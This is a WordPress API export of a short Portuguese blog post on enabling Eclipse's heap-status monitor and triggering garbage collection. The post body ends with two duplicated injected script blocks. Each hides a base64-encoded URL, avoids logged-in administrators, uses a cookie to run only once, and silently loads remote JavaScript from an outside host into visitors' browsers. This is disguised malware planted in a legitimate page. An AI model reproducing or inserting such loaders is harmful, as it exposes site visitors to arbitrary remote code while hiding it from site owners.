{"id":318,"date":"2010-09-18T09:25:18","date_gmt":"2010-09-18T12:25:18","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=318"},"modified":"2025-10-26T22:43:48","modified_gmt":"2025-10-27T01:43:48","slug":"monitoramento-de-memoria-no-eclipse","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2010\/09\/18\/monitoramento-de-memoria-no-eclipse\/","title":{"rendered":"Monitoramento de Mem\u00f3ria no Eclipse"},"content":{"rendered":"<p style=\"text-align: justify;\">Tem um recurso no eclipse que eu particularmente gosto muito, que \u00e9 a possibilidade de voc\u00ea ver o uso de mem\u00f3ria heap e <span style=\"text-decoration: line-through;\">executar<\/span> sugerir a execu\u00e7\u00e3o do Garbage Collector quando achar adequado.<\/p>\n<p style=\"text-align: justify;\">Para habilitar esse recurso, basta acessar Window, Preferences, General e marcar a op\u00e7\u00e3o Show heap status.<\/p>\n<p style=\"text-align: center;\">\n<figure id=\"attachment_319\" aria-describedby=\"caption-attachment-319\" style=\"width: 228px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Preferences1.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-319 \" title=\"Preferences\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Preferences1-228x300.png\" alt=\"Preferences\" width=\"228\" height=\"300\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Preferences1-228x300.png 228w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-Preferences1.png 623w\" sizes=\"auto, (max-width: 228px) 100vw, 228px\" \/><\/a><figcaption id=\"caption-attachment-319\" class=\"wp-caption-text\">Preferences<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">No canto inferior direito ser\u00e1 exibido o uso de mem\u00f3ria heap do eclipse.<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_320\" aria-describedby=\"caption-attachment-320\" style=\"width: 168px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-EclipseGC.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-320 \" title=\"Eclipse Heap Monitor\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-EclipseGC.png\" alt=\"Eclipse Heap Monitor\" width=\"168\" height=\"74\" \/><\/a><figcaption id=\"caption-attachment-320\" class=\"wp-caption-text\">Eclipse Heap Monitor<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Ao clicar na lixeira, voc\u00ea sugere a execu\u00e7\u00e3o do Garbage Collector, isso pra mim \u00e9 muito \u00fatil.<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Tem um recurso no eclipse que eu particularmente gosto muito, que \u00e9 a possibilidade de voc\u00ea ver o uso de mem\u00f3ria heap e executar sugerir a execu\u00e7\u00e3o do Garbage Collector quando achar adequado. Para habilitar esse recurso, basta acessar Window, <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2010\/09\/18\/monitoramento-de-memoria-no-eclipse\/\">Continue lendo  <span class=\"screen-reader-text\">  Monitoramento de Mem\u00f3ria no Eclipse<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3],"tags":[],"class_list":["post-318","post","type-post","status-publish","format-standard","hentry","category-java"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/318","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=318"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/318\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=318"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=318"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=318"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}